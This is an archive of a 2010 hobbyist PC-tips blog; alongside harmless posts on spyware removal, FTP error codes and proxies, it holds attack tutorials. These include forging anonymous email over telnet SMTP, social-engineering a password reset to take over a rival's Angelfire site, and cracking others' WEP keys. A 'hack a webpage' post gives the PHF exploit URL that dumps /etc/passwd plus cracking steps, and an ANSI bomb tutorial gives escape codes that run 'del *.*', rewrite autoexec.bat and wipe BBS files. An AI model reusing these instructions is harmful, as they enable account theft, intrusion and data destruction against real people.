July 2010: PC Tips by Anu

Sunday, July 18, 2010

Use UNIX/LINUX Commands in WINDOWS

Sunday, July 18, 2010

Anu

Saturday, July 17, 2010

All about SpyWare

Saturday, July 17, 2010

Anu

There are a lot of PC users that know little about "Spyware", "Mal-ware", "hijackers", "Dialers" & many more. This will help you avoid pop-ups, spammers and all those baddies.

What is spy-ware?
Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.

Known spywares
There are thousands out there, new ones are added to the list everyday. But here are a few:

Alexa Aureate/Radiate
BargainBuddy
ClickTillUWin
Conducent Timesink
Cydoor
Comet Cursor
eZula/KaZaa Toptext
Flashpoint/Flashtrack
Flyswat
Gator
GoHip
Hotbar
ISTbar
Lions Pride Enterprises/Blazing Logic/Trek Blue
Lop (C2Media)
Mattel Brodcast
Morpheus
NewDotNet
Realplayer
Songspy
Xupiter
Web3000
WebHancer
Windows Messenger Service

How to check if a program has spyware?
The is this Little site that keeps a database of programs that are known to install spyware.

Check Here: http://www.spywareguide.com/product_search.php

If you would like to block pop-ups (IE Pop-ups).
There tons of different types out there, but these are the 2 best, i think.

Try: Google Toolbar (http://toolbar.google.com/) This program is Free
Try: AdMuncher (http://www.admuncher.com) This program is Shareware

If you want to remove the "spyware" try these.
Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free
Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.

Try: Spybot-S&D (http://www.safer-networking.org/) This program is Free
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems.

Try: BPS Spyware and Adware Remover (http://www.bulletproofsoft.com/spyware-remover.html) This program is Shareware
Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you'd like to remove.

Try: Spy Sweeper v2.2 (http://www.webroot.com/wb/products/spysweeper/index.php) This program is Shareware
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer.
The best scanner out there, and updated all the time.

Try: HijackThis 1.97.7 (http://www.spywareinfo.com/~merijn/downloads.html) This program is Freeware
Info: HijackThis is a tool, that lists all installed browser add-on, buttons, startup items and allows you to inspect them, and optionally remove selected items.

If you would like to prevent "spyware" being install.
Try: SpywareBlaster 2.6.1 (http://www.wilderssecurity.net/spywareblaster.html) This program is Free
Info: SpywareBlaster doesn`t scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage.

Try: SpywareGuard 2.2 (http://www.wilderssecurity.net/spywareguard.html) This program is Free
Info: SpywareGuard provides a real-time protection solution against so-called spyware. It works similar to an anti-virus program, by scanning EXE and CAB files on access and alerting you if known spyware is detected.

Try: XP-AntiSpy (http://www.xp-antispy.org/) This program is Free
Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people.

Try: SpySites (http://camtech2000.net/Pages/SpySites_Prog...ml#SpySitesFree) This program is Free
Info: SpySites allows you to manage the Internet Explorer Restricted Zone settings and easily add entries from a database of 1500+ sites that are known to use advertising tracking methods or attempt to install third party software.

If you would like more Information about "spyware".
Check these sites.
http://www.spychecker.com/
http://www.spywareguide.com/
http://www.cexx.org/adware.htm
http://www.theinfomaniac.net/infomaniac/co...rsSpyware.shtml
http://www.thiefware.com/links/
http://simplythebest.net/info/spyware.html

Usefull tools...
Try: Stop Windows Messenger Spam 1.10 (http://www.jester2k.pwp.blueyonder.co.uk/j...r2ksoftware.htm) This program is Free
Info: "Stop Windows Messenger Spam" stops this Service from running and halts the spammers ability to send you these messages.

----------------------------------------------------------------------------
All these softwares will help remove and prevent evil spammers and spywares attacking your PC. I myself recommend getting "spyblaster" "s&d spybot" "spy sweeper" & "admuncher" to protect your PC. A weekly scan is also recommended

Free Virus Scan
Scan for spyware, malware and keyloggers in addition to viruses, worms and trojans. New threats and annoyances are created faster than any individual can keep up with.
http://defender.veloz.com// - 15k

Finding . is a Click Away at 2020Search.com
Having trouble finding what you re looking for on: .? 2020Search will instantly provide you with the result you re looking for by drawing on some of the best search engines the Internet has to offer. Your result is a click away!
http://www.2020search.com// - 43k

Download the BrowserVillage Toolbar.
Customize your Browser! Eliminate Pop-up ads before they start, Quick and easy access to the Web, and much more. Click Here to Install Now!
http://www.browservillage.com/ - 36k

COMMON FTP ERROR CODE and their Description

Saturday, July 17, 2010

Anu

Today i'm trying to connecting a PC via FTP connection, but every time i got an FTP ERROR MESSAGE.
(AFTER SOME TIME, I'M SUCCESSFUL)

I spend three hours on net to findout some description of that ERRORS.

Here is the list of COMMON ERRORS of FTP...

~~~~~~~~~COMMON FTP ERROR CODES~~~~~~~~~~

# Description

110 - Restart marker reply.
In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").

120 - Service ready in nnn minutes.

125 - Data connection already open; transfer starting.

150 - File status okay; about to open data connection.

200 - Command okay.

202 - Command not implemented, superfluous at this site.

211 - System status, or system help reply.

212 - Directory status.

213 - File status.

214 Help message.
On how to use the server or the meaning of a particular non-standard command.
This reply is useful only to the human user.

215 - NAME system type.
Where NAME is an official system name from the list in the Assigned Numbers document.

220 - Service ready for new user.

221 - Service closing control connection.

225 - Data connection open; no transfer in progress.

226 - Closing data connection. Requested file action successful (for example, file transfer or file abort).

227 - Entering Passive Mode (h1,h2,h3,h4,p1,p2).

230 - User logged in, proceed. Logged out if appropriate.

250 - Requested file action okay, completed.

257 - "PATHNAME" created.

331 - User name okay, need password.

332 - Need account for login.

350 - Requested file action pending further information

421 - Service not available, closing control connection.
This may be a reply to any command if the service knows it must shut down.

425 - Can't open data connection.

426 - Connection closed; transfer aborted.

450 - Requested file action not taken.

451 - Requested action aborted. Local error in processing.

452 - Requested action not taken.
Insufficient storage space in system.File unavailable (e.g., file busy).

500 - Syntax error, command unrecognized.
This may include errors such as command line too long.

501 - Syntax error in parameters or arguments.

502 - Command not implemented.

503 - Bad sequence of commands.

504 - Command not implemented for that parameter.

530 - Not logged in.

532 - Need account for storing files.

550 - Requested action not taken. File unavailable (e.g., file not found, no access).

551 - Requested action aborted. Page type unknown.

552 - Requested file action aborted. Exceeded storage allocation (for current directory or dataset).

553 - Requested action not taken. File name not allowed.

Internet on your phone using bluetooth and your PC connection

Saturday, July 17, 2010

Anu

Scan HTTP security (Stealth)

Saturday, July 17, 2010

Anu

Friday, July 16, 2010

All about Proxy Server...

Friday, July 16, 2010

Anu

http://www.home-network-help.com/images/anonymous-proxy-server-network.jpg

A proxy server is a kind of buffer between your computer and the Internet resources you are accessing.

The data you request come to the proxy first, and only then it transmits the data to you.

I know many are looking for IP Maskers or Scramblers, but honestly, it aint real easy for the simple fact that any website that you visit needs your IP to send the info packets too.

If its scrambled, you will get alot of errors and crazy redirects :P

My solution? Read on...........

for a good list of Proxy servers try herehttp://www.multiproxy.org/

Neen of Proxy Server : Transfer speed improvement. Proxy servers accumulate and save files that are most often requested by thousands of Internet users in a special database, called “cache”. Therefore, proxy servers are able to increase the speed of your connection to the Internet. The cache of a proxy server may already contain information you need by the time of your request, making it possible for the proxy to deliver it immediately.
Security and privacy. Anonymous proxy servers that hide your IP address thereby saving you from vulnerabilities concerned with it.
Sometimes you may encounter problems while accessing to web server when server administrator restricted access from your IP or even from wide IP range (for example restricting access from certain countries or geographical regions). So you try to access those pages using an anonymous proxy server.

Public Proxy Server : It is a proxy server which is free and open for everybody on the Internet. Unfortunately most of them are not anonymous.
Free service trying to provide list of public HTTP proxy servers. Usually provide small list of proxies with low percent of functioning servers due to hosting restrictions on CPU time (they simply can't allow themselves to check many proxies every second especially in parallel).

Solution : When using an anonymous proxy server you don’t give a anybody chance to find out your IP address to use it in their own interests. ;) If there is a need to make an (inner) proxy connect to the outside world via another (outer) proxy server, you can use the same environment variables as are used to redirect clients to the proxy to make inner proxy use the outer one:

http_proxy
ftp_proxy
gopher_proxy
wais_proxy

E.g. your (inner) proxy server's startup script could look like this:

#!/bin/sh
http_proxy=http://outer.proxy.server:8082/
export http_proxy
/usr/etc/httpd -r /etc/inner-proxy.conf -p 8081

This is a little ugly, so there are also the following directives in the configuration file:
http_proxy http://outer.proxy.server/
ftp_proxy http://outer.proxy.server/
gopher_proxy http://outer.proxy.server/
wais_proxy http://outer.proxy.server/

How to send ANONYMOUS e-mails to someone without a prog?

Friday, July 16, 2010

Anu

http://img.blogsolute.com/anonymous-email.jpg

Hello friends, in this post i am going to explain you a way to send home-made e-mails. I mean its a way to send Annonimous e-mails without a program, it doesn't take to much time and its cool and you can have more knowledge than with a stupid program that does all by itself.

This way (to hackers) is old what as you are newby to this stuff, perhaps you may like to know how these anonymailers work,
(home-made)

Well.....

* Go to Start, then Run...

* You have to Telnet (Xserver) on port 25

* Well, (In this Xserver) you have to put the name of a server without the ( ) of course...

* Put in iname.com in (Xserver) because it always work it is a server
with many bugs in it (25) mail port.

So now we are like this.

telnet iname.com 25

* and then you hit enter

* Then When you have telnet open put the following like it is written

helo

and the machine will reply with smth.

Notice for newbies: If you do not see what you are writing go to Terminal's menu (in telnet) then to Preferences and in the Terminal Options you tick all opctions available and in the emulation menu that's the following one you have to tick the second option.

Now you will see what you are writing.

* then you put:

mail from:<whoeveryouwant@whetheveryouwant.whetever.whatever>
and so on...

If you make an error start all over again

Example:

mail from:

You hit enter and then you put:

rcpt to:

This one has to be an existance address as you are mailing anonymously to him.

Then you hit enter
And you type

Data

and hit enter once more

Then you write

Subject:whetever

And you hit enter

you write your

mail

hit enter again (boring)

you put a simple:

.

Yes you don't see it its the little fucking point!
and hit enter.
Finally you write

quit

hit enter one more time
and it's done

look:Try first do it with yourself I mean mail annonymously yourself so you can test it!
Don't be asshole and write fucking e-mails to big corps. bec' its symbol of stupidity and childhood and it has very very effect on Hackers they will treat you as a Lamer!

Really i don't know why i wrote this fucking disclaimer, but i don't want to feel guilty if you get into trouble....

Disclamer: I'm not responsable for whetever you do with this info. and I am also not responsable if you send an e-mail to an important guy and insult him, and i rectly advise you that this is for educational porpouses only my idea is for learning and having more knowledge, you can not get busted with this stuff but I don't take care if it anyway happen to you.
If this method is new for ya probably you aren't a hacker so think that if someone wrote you an e-mail "yourbestfirend@aol.com" insulting you and it wasn't him it but was some guy using a program or this info you won't like it.
So Use this method if you don't care a damn hell or if you like that someone insult you.

How to hack AngelFire

Friday, July 16, 2010

Anu

Let's get to the hack! Ok...
You know this lamer on the net and you want to get him back and he's got a page on Angelfire!

What do u do?

You hack his page ofcourse!
For those of you who don't know what Angelfire is it's a free web page service. The basic things u will need to hack an Angelfire account are:

STEP 1

The full url of this dood's page. Like

http://www.angelfire.com/ca/lamer/index.html

or what ever the url is...
Basically what the url says is his page is at angelfire.com in the State of California in a directory called lamer. Index is just the name of the specific page. It could be different, but it usually defaults to index.html for their main page if they didn't change it.

STEP 2

I know what you are saying...
How could i hack an account with just the url!!
Keep reading! On to step 2!
Next up you need to find out this person's old email addy. Usually it's on their front page. Write it down!

STEP 3

Now you've got their full url and their email address. Now you have to find their name on their page.
Usually they fill you in on what their real names are so find it and write it down.
This isn't necessary, but it makes the letter a lot more genuine...

STEP 4

With all this information write a letter to Angelfire sayin how unhappy you are!
Angelfire's help mail is mail@angelfire.com. Make the letter sound like a REAL scenario.
That's the trick to this hack.
A little social engineering goes a long way in getting u what u want. Say something in your letter like you went on vacation and forgot your dam password!
Say that you changed your email address and your old addy is no longer available so the password retrievable form won't work because it's sending to an unavailable address. So you give them a new address to send the password to!!
Check ur mail the next day and wallah!!! INSTANT ACCESS!!!
============================================== THIS TEXT FILE IS FOR EDUCATIONAL PURPOSES ONLY!! WITH THIS KNOWLEDGE I IN NO WAY ENCOURAGE U
TO GO ON A HACKING SPREE!! JUST KNOWING HOW SHOULD BE ENOUGH!!!
==============================================

Hack WiFi n Crak WEP/WAP keys with WiFi Hacking Tools

Friday, July 16, 2010

Anu

Hey guys, did u wanna connect into a Wireless Network, without knowing their Keys (WEP / WAP) ?

For this purpose you must hack in this network, but don't worry...

Here is a set of tools that can do this for you....

Take a look of these tools : -

AIRSNORT : AirSnort is a wireless LAN (WLAN) tool which recovers encryption keys. AirSnort operates by passively monitoring transmissions, computing the encryption key when enough packets have been gathered.

Whilst always having implemented the the WEP key attack identified by the Weaknesses in the Key Scheduling Algorithm of RC4 paper by Fluhrer, Mantin and Shamir as of version 0.2.7

KISMET : Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and (with appropriate hardware) can sniff 802.11b, 802.11a, 802.11g, and 802.11n traffic. Kismet also supports plugins which allow sniffing other media such as DECT.

Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting (and given time, decloaking) hidden networks, and infering the presence of nonbeaconing networks via data traffic.

Wellenreiter : Wellenreiter is a wireless network discovery and auditing tool. Prism2, Lucent, and Cisco based cards are supported. It is the easiest to use Linux scanning tool. No card configuration has to be done anymore. The whole look and feel is pretty self-explaining. It can discover networks (BSS/IBSS), and detects ESSID broadcasting or non-broadcasting networks and their WEP capabilities and the manufacturer automatically. DHCP and ARP traffic are decoded and displayed to give you further information about the networks. An ethereal/tcpdump-compatible dumpfile and an Application savefile will be automaticly created. Using a supported GPS device and the gpsd you can track the location of the discovered networks. NO!, hosap drivers actualy don't work in the perl version.

Wepwegie : WEPWedgie is a toolkit for determining 802.11 WEP keystreams and injecting traffic with known keystreams. The toolkit also includes logic for firewall rule mapping, pingscanning, and portscanning via the injection channel and a cellular modem

Hotspotter : The Wi-Fi Digital Hotspotter is a full-featured Wi-Fi detection and analysis device. Just push the button, and the Wi-Fi Digital Hotspotter will scan the area. When a Wi-Fi network is located, the device's scrolling display will show the network's SSID (service set identifier); a set of one to four bars indicating signal strength; the words "Secure" or "Open" to indicate the network's encryption status; and "Ch:" followed by the number of the channel on which the network was located.

After the device has located a network, push the activation button again to scan for additional networks. Additional features include a low battery indicator.

NetStumbler : NetStumbler (also known as Network Stumbler) is a tool for Windows that facilitates detection of Wireless LANs using the 802.11b, 802.11a and 802.11g WLAN standards. It runs on Microsoft Windows operating systems from Windows 2000 to Windows XP. A trimmed-down version called MiniStumbler is available for the handheld Windows CE operating system.
The program is commonly used for:

Wardriving
Verifying network configurations
Finding locations with poor coverage in a WLAN
Detecting causes of wireless interference
Detecting unauthorized ("rogue") access points
Aiming directional antennas for long-haul WLAN links

WEPCrack : WEPCrack is an open source tool for breaking 802.11 WEP secret keys. This tool is is an implementation of the attack described by Fluhrer, Mantin, and Shamir in the paper "Weaknesses in the Key Scheduling Algorithm of RC4".
WEPCrack is a tool that cracks 802.11 WEP encryption keys using the latest discovered weakness of RC4 key scheduling.
While Airsnort has captured the media attention, WEPCrack was the first publically available code that demonstrated the above attack. We released code and announced to bugtraq on Aug 12, 2001. Airsnort released code about a week later, but had a much more useable and complete implementation for both collection and cracking. Adam Stubblefield and AT&T had the first publically announced verification of the attack, but did not release their source code for public review and use.

ENJOY THESE GREAT TOOLS.

IF YOU WANNA MORE INFORMATION ABOUT THESE TOOLS, THN LEAVE A COMMENT OR MAIL ME...

Thursday, July 15, 2010

How to hack a WebPage..

Thursday, July 15, 2010

Anu

http://images.techtree.com/ttimages/story/109190_matter.jpg

Hello friends, here is a simple way for hacking Webpages...

With the help of Linux/Unix

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
AnuTiger:p5Y(h0tiC:1229:20:AnuTiger,:/usr/people/anutiger:/bin/csh
Anu:EUyd5XAAtv2dA:1129:20:Anu007:/usr/people/anu:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system.

1. The first step that you would take is to download or copy the file.

2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there.
I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.
Now for a dictionary maker or a dictionary file...
When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) .
As far as we know it will be one of the largest in circulation.

3. You then start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

The best way to get root is with an exploit.

Exploits are explained in few days....

TUT : ANSI Bombs

Thursday, July 15, 2010

Anu

The image “http://vxheavens.com/lib/img/ajt/fig3.gif” cannot be displayed, because it contains errors.

Of course, ANSI bombing isn't as dangerous as a lot of people make it out to be, but bombs are still fun to make and with a little planning deliver some degree of success.
ANSI bombing can be dangerous, so I am tired of hearing people say that an ANSI bomb is harmless, another misconception I hope to clear up.
Now, most people that have spent time experimenting with ANSI bombs probably know most of the material in this file, but it might be fun just to read anyway.

ANSI codes, including those that redefine keys, are sent over the
lines, but most comm programs don't use ANSI.SYS; they use their own version of ANSI, which doesn't support key redefinition. Some people might have a program that supports it, but I haven't seen it yet.

I have tested bombs on systems on my own and proved to myself that they don't work.

I have also seen people fuck up bombs that would have worked by uploading them in a message.

ANSI bombs are dangerous when put into zips. I haven't really tested this out much, but from what I hear with the newer versions of PKZIP, you have to specify that you want to see ANSI comments when unzipping. It is unlikely that you would waste your time unzipping something again after seeing "Format C:" in the middle of an escape code.

VANSI.SYS will protect your system from key redefinition. Maybe the newer versions don't support key redefinition, but mine sure as hell does. There are pro grams out there that don't support it, but I don't know any of the names. Of course, if I were you, I would be wary about using some thing other then ANSI. I have a few friends that are working on "A Better ANSI" for PDers, which, instead of being better, really screws them over.

Now, in case you haven't read my other file (it's called ANSI.DOC,
kind of lame but fairly informative), I'll briefly go over the structure of an ANSI bomb.
Skip this part if you know what an ANSI bomb is and how to make one.

In ANSI everything is done with a system of escape codes. Key
redefinition is one of those codes. (From now, whenever I say ESC, I really mean the arrow, ). Here is a basic command:

ESC [13;27p

This would make the key (13 is the code for enter) turn
into the key (27 is the code for escape). The always has to be there, as do the bracket and the "p", but what is between the
bracket and the "p" is up to you. The first number is always the key
that you want to be redefined. If there is a zero for the first num
ber, that means the key is in the extended set, and therefore, the
first two numbers are the code.
The bracket signifies the beginning of the definition, and the "p" signifies the end. Whenever you want a key pressed, you have to use it's numerical code (i.e. 13 is the code for ). You can't redefine strings, but you can redefine a key to become a string (i.e. ESC [13;"Blah"p would make say "Blah").
Strings must be inside of quotes, which includes commands that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p would delete everything in the directory, note that 13 stands for Enter in this case, not the redefinition).
An escape code can have as many commands as you want in it, but each one has to be separated by a semi-colon. You can only redefine one key in each escape code, so if you want to redefine another key, you have to start another escape code.
That's about it when it comes to bombs, now that you have the basics, all you really need is a little imagination.

TIPS AND TRICKS

A. The Y/N Redefinition

Now, here's a simple but fun little ANSI bomb:

ESC [78;89;13p ESC [110;121;13p

Basically, all this does is turn a capital "N" into "Y" and a
lower-case "n" into "y". Alone this doesn't do too much, except for screw around with what they are typing. On the other hand, try adding this line of code to the ANSI bomb:

ESC [13;27;13;"del *.*";13p

Most people would automatically press "N" when they see "Del *.*", but when they do, they will be screwed over. This portion of a bomb is very useful when it comes to making good bombs.

B. Screwing with the Autoexec.bat

Here is another line of code that you may find useful in future
bombing projects:

ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
c:\autoexec.bat";13;"type bomb.ans";13;0;109;13;"cls";13p

This line of code makes the bomb a little more permanent and a
little more dangerous. It copies the bomb into the root directory,
then it change/creates the autoexec.bat, so the bomb is typed after
every boot-up. Of course, the person could just boot off a disk, but
I'm sure this would get them a few time. It could also probably
appear as though it were a virus, scaring the shit out of the owner of
the computer.

C. Turning Commands into Other Commands

One of the best pranks to do to someone using an ANSI bomb is to
redefine commands. That way if they type in "copy", it will turn into "Del *.*". Since you can't actually change the whole string, you have to take a different approach. You have to change a few of the keys, so when typed, they type and execute the desired command. I guess it would be coolest to have to command exactly the same length; that way you could redefine one key at a time to obtain the desired effect.
It doesn't really matter how you do it, just as long as it works. You
might make an ANSI that says "Wow, check out what this bomb did to your directory", and then have it redefine the keys, so when they type in "dir", it turns into "del". I think you get the idea.

D. Trojans

By now, everybody knows what a Trojan is. You probably wouldn't
think so, but ANSI bombs can be used as Trojans and in Trojans.

First, if you are planning on crashing a board, but you're not very good at programming, then make yourself an ANSI bomb. Try to find out in which directory the main files for running the BBS are stored. They are usually under the name BBS or the name of the software, like WWIV or Telegard. Then, make a bomb that either just deletes all the files in that directory, or if you want the board to be down a longer time, then make one that formats the Hard Drive. In this form ANSI bombs, if they are well planned out, can be easy to make Trojans.

Second, ANSI bombs can used in Trojans.
This is probably stretching it a little, but say you wanted to write a Trojan that would delete a directory, every time you typed a certain key, then you could use an ANSI bomb. First make some batch and com/exe files that would search for protecting programs like Norton and turn them off. Then you could copy the file into the root directory, along with your versions of autoexec.bat, config.sys, ANSI.sys, and whatever else. (To make it look more realistic make the files Resource.00x to trick the user, then when copying, use the real name). Then somehow lock the computer up or do a warm boot through some pd program, which is easily attain able. When the computer loads back up, you can screw that shit out of them with your ANSI bomb.

It would seem to some people that ANSI bombs are very dangerous,
and to others that they are stupid or lame. Personally, I think that
ANSI bombs are just plain old fun. They're not too hard to make, but there is a lot that you can do with them. They are nowhere near as malicious as virii, so if you're looking for unstoppable destruction,
look elsewhere, but they do serve their purpose. I know that there
are programs out there that help you program ANSI bombs, but I think that they kind of take the fun out of them.
Probably, some day soon, I'll quit making ANSI bombs and start looking more into virii and pure Trojans. But for now, ANSI bombs suit my purpose.

-TRG

Key Code Program
Here is a small program, which I find very helpful. After loading
it up, it tells you the numeric code for every key you type in. Special means that it is in the extended set and therefore uses zero, and "q" ends the program.
Unfortunately, I can't take any credit for this program.
It is in Pascal and can be compiled in most Turbo Pascal compilers.

    Use CRT;
    Var
      CH : CHAR;
    Begin
      Repeat
        CH := ReadKey;
        If CH = #0 then
          Begin
            CH := ReadKey;
            WriteLn(CH,'(Special) - ',ORD(CH));
          End
        Else
          WriteLn(CH,' - ',ORD(CH));
      Until
        CH = 'q';
    End.

Thanks.